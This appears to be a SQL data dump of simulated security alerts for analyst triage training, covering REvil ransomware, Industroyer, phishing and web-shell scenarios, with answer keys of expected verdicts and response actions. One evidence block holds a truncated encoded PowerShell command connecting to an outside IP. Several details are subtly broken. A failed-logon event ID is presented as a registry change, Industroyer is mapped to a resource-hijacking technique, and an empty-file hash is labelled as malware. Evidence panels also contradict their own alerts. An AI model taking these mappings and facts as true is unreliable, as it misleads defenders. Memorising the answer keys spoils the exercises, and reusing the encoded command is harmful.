(862, 'Persistence Mechanism Identified', 'high', 'System Logs', 'REvil used sophisticated persistence techniques, embedding themselves within the network to maintain access and control.', 'Persistence', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:17Z\",\"event_id\":\"4625\",\"source_ip\":\"198.51.100.23\",\"internal_ip\":\"192.168.1.25\",\"user\":\"compromised_user\",\"registry_key\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Roaming\\\\malicious.exe\",\"file_hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"action\":\"Registry modification detected\",\"logon_type\":\"Interactive\",\"description\":\"Persistence mechanism identified by modification of registry run key to execute malicious.exe at startup.\"}', '2026-01-15 00:50:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with REvil command and control infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Executable used by REvil for persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known REvil payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised as part of the REvil attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.525Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"Registry modification detected\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"description\\\":\\\"Persistence mechanism identified by modification of registry run key to execute malicious.exe at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.525Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"Registry modification detected\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"description\\\":\\\"Persistence mechanism identified by modification of registry run key to execute malicious.exe at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.525Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"Registry modification detected\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"description\\\":\\\"Persistence mechanism identified by modification of registry run key to execute malicious.exe at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.525Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"Registry modification detected\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"description\\\":\\\"Persistence mechanism identified by modification of registry run key to execute malicious.exe at startup.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.525Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"3f786850e387550fdab836ed7e6dc881de23001b\\\",\\\"action\\\":\\\"Registry modification detected\\\",\\\"logon_type\\\":\\\"Interactive\\\",\\\"description\\\":\\\"Persistence mechanism identified by modification of registry run key to execute malicious.exe at startup.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(863, 'Unauthorized Access to Internal Systems', 'high', 'User Activity Monitoring', 'During the investigation, it was discovered that the attackers moved laterally across the network, infecting numerous systems with ransomware. This movement was likely enabled by exploiting credentials of a compromised user account, spreading to multiple internal systems to maximize the attack\'s impact.', 'Lateral Movement', 'T1570', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"source_ip\":\"198.51.100.23\",\"destination_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"action\":\"login\",\"status\":\"success\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"ransomware_payload.exe\",\"internal_ip\":\"192.168.1.15\",\"description\":\"Successful login from external IP to internal system with known malware file transfer\"}', '2026-01-15 00:50:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous ransomware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal system targeted by lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as ransomware variant\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"File associated with ransomware activity\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials likely compromised during attack\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.526Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"description\\\":\\\"Successful login from external IP to internal system with known malware file transfer\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.526Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"description\\\":\\\"Successful login from external IP to internal system with known malware file transfer\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.526Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"description\\\":\\\"Successful login from external IP to internal system with known malware file transfer\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.526Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"description\\\":\\\"Successful login from external IP to internal system with known malware file transfer\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.526Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:35Z\\\",\\\"source_ip\\\":\\\"198.51.100.23\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login\\\",\\\"status\\\":\\\"success\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"ransomware_payload.exe\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"description\\\":\\\"Successful login from external IP to internal system with known malware file transfer\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(864, 'Data Exfiltration Detected', 'critical', 'Data Loss Prevention System', 'In the final stage, REvil exfiltrated critical data, threatening its release unless the $70 million ransom demand was met, before the decryption keys were eventually acquired.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T13:45:30Z\",\"event_id\":\"DLP-EXFIL-20231005\",\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"185.220.101.42\",\"filename\":\"financial_report_2023.xlsx\",\"user\":\"jdoe\",\"hash\":\"3f9d9f8a7a8f4b9d7b9d8f9d7f9d8f7e\",\"protocol\":\"HTTPS\",\"action\":\"Data Transfer\",\"status\":\"Success\"}', '2026-01-15 00:50:29', '2026-02-16 17:57:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.220.101.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with REvil operations.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"financial_report_2023.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"DLP system\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file flagged for unauthorized transfer.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account potentially compromised.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f9d9f8a7a8f4b9d7b9d8f9d7f9d8f7e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with unauthorized data transfer.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.527Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.220.101.42\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3f9d9f8a7a8f4b9d7b9d8f9d7f9d8f7e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.527Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.220.101.42\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3f9d9f8a7a8f4b9d7b9d8f9d7f9d8f7e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.527Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.220.101.42\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3f9d9f8a7a8f4b9d7b9d8f9d7f9d8f7e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.527Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.220.101.42\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3f9d9f8a7a8f4b9d7b9d8f9d7f9d8f7e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.527Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231005\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"185.220.101.42\\\",\\\"filename\\\":\\\"financial_report_2023.xlsx\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3f9d9f8a7a8f4b9d7b9d8f9d7f9d8f7e\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"Data Transfer\\\",\\\"status\\\":\\\"Success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(865, 'Initial Access via Phishing Campaign', 'high', 'Email Gateway Logs', 'A spear-phishing email was sent to an employee containing a malicious attachment that, when executed, provides the attacker with initial access to the network.', 'Social Engineering', 'T1566.001', 1, 'new', NULL, '{\"email_subject\":\"Urgent: New Company Policy Update\",\"sender_email\":\"hr-updates@company.com\",\"recipient_email\":\"john.doe@victimcompany.com\",\"attachment\":{\"filename\":\"Policy_Update.docx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"timestamp\":\"2023-10-02T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.105\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\"}', '2026-01-15 00:52:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"hr-updates@company.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Known phishing source\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Sandworm\'s known malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Campaign\",\"date\":\"2026-02-01T20:32:22.528Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(866, 'Execution of Industroyer Malware', 'critical', 'Endpoint Detection and Response (EDR) Logs', 'The adversary executed Industroyer malware on an industrial control system, posing a significant threat to the power grid\'s operations.', 'Malware Deployment', 'T1496 - Resource Hijacking', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.10.20\",\"username\":\"ics_admin\",\"process_name\":\"industroyer.exe\",\"file_hash\":\"f6c8d8e6a4c3b5d2e9c7f4a1b9e3c5d1\",\"event_description\":\"Execution of Industroyer malware detected on ICS endpoint\",\"severity\":\"high\",\"destination_host\":\"ICS-Server-01\"}', '2026-01-15 00:52:49', '2026-02-16 17:57:09', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity targeting ICS.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"ICS endpoint within the corporate network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f6c8d8e6a4c3b5d2e9c7f4a1b9e3c5d1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Industroyer malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"industroyer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Logs\",\"verdict\":\"malicious\",\"details\":\"Executable linked to Industroyer malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"ics_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Authorized user account for ICS management.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(867, 'Establishing Persistence through Backdoors', 'high', 'Network Traffic Analysis', 'During the analysis of network traffic, it was identified that the threat actor attempted to maintain prolonged access to critical nodes within the grid infrastructure by deploying backdoors. This action is consistent with advanced persistence techniques aimed at ICS/SCADA systems.', 'Persistence Mechanism', 'T1505.003 - Web Shell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.0.15\",\"source_port\":443,\"destination_port\":8080,\"protocol\":\"HTTPS\",\"username\":\"admin_user\",\"filename\":\"web_shell.jsp\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event\":\"File uploaded\",\"description\":\"Suspicious file upload detected on critical node.\"}', '2026-01-15 00:52:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Critical ICS/SCADA node within the infrastructure.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"web_shell.jsp\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File associated with web shell attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Tool\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious web shell.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
